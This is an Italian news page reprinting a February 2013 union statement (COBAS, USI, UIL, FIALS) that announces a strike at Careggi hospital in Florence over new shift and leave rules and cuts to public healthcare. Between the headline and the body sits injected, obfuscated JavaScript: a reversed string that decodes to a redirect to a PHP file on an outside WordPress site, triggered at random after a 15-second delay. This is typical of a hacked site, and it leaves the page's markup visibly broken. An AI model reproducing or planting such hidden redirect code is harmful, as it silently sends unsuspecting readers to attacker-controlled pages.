"Careggi è governata con arroganza e autoritarismo". La denuncia dei sindacati

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2013/02/ingresso-careggi2.jpg”>Riceviamo dai sindacati sulla vertenza in atto a Careggi e volentieri pubblichiamo

8 febbraio 2013

SCIOPERO INTERA GIORNATA di tutti i lavoratori di Careggi contro
• LA NUOVA TURNAZIONE
• LA DEMOLIZIONE DELLA SANITA’ PUBBLICA

Nonostante la netta opposizione dei lavoratori, la direzione aziendale ha deciso di procedere con la modifica dell’orario di lavoro e delle ferie. Le Organizzazioni sindacali COBAS, USI, UIL e FIALS, che da sempre si sono espresse in maniera nettamente contraria, si vedono costrette a proseguire e aumentare il livello di mobilitazione. La direzione aziendale, con la compiacenza e la complicità di alcuni sindacati che hanno inteso legittimare un presunto tavolo tecnico arbitrariamente composto dall’azienda, non si illuda di voler governare Careggi con l’arroganza e l’autoritarismo. Tramite l’alibi del contesto di crisi generale, la Direzione ha deciso di aggredire alcuni elementi fondamentali del rapporto di lavoro, in particolare l’orario di lavoro e le ferie.

Con l’indizione dello sciopero vogliamo ribadire alla direzione aziendale che non accetteremo di veder negati i nostri diritti, né di essere umiliati, né di veder peggiorare le condizioni di assistenza, né di lavorare in condizioni di rischio. I tagli e le riduzioni, sia di posti letto che di personale, sono giunti a livelli insostenibili e pesano inevitabilmente sia sulla qualità che sulla quantità delle prestazioni assistenziali che vengono fornite. Da mesi i lavoratori sono in stato di agitazione con una vertenza aperta per contrastare decisioni aziendali che, oltre a colpire le tutele contrattuali, determinano disorganizzazione delle attività assistenziali. La sanità è un bene che non può essere distrutto, oggi stiamo assistendo ad un processo che, degenerato nel corso del tempo, si palesa oggi in tutta la sua mostruosità: la conversione della salute in merce, un nuovo modello di sanità commerciale basato su forme di assicurazione privata che fanno della malattia e della sofferenza, della vita e della morte meri oggetti di profitto.

UIL – Cobas – USI – Fials

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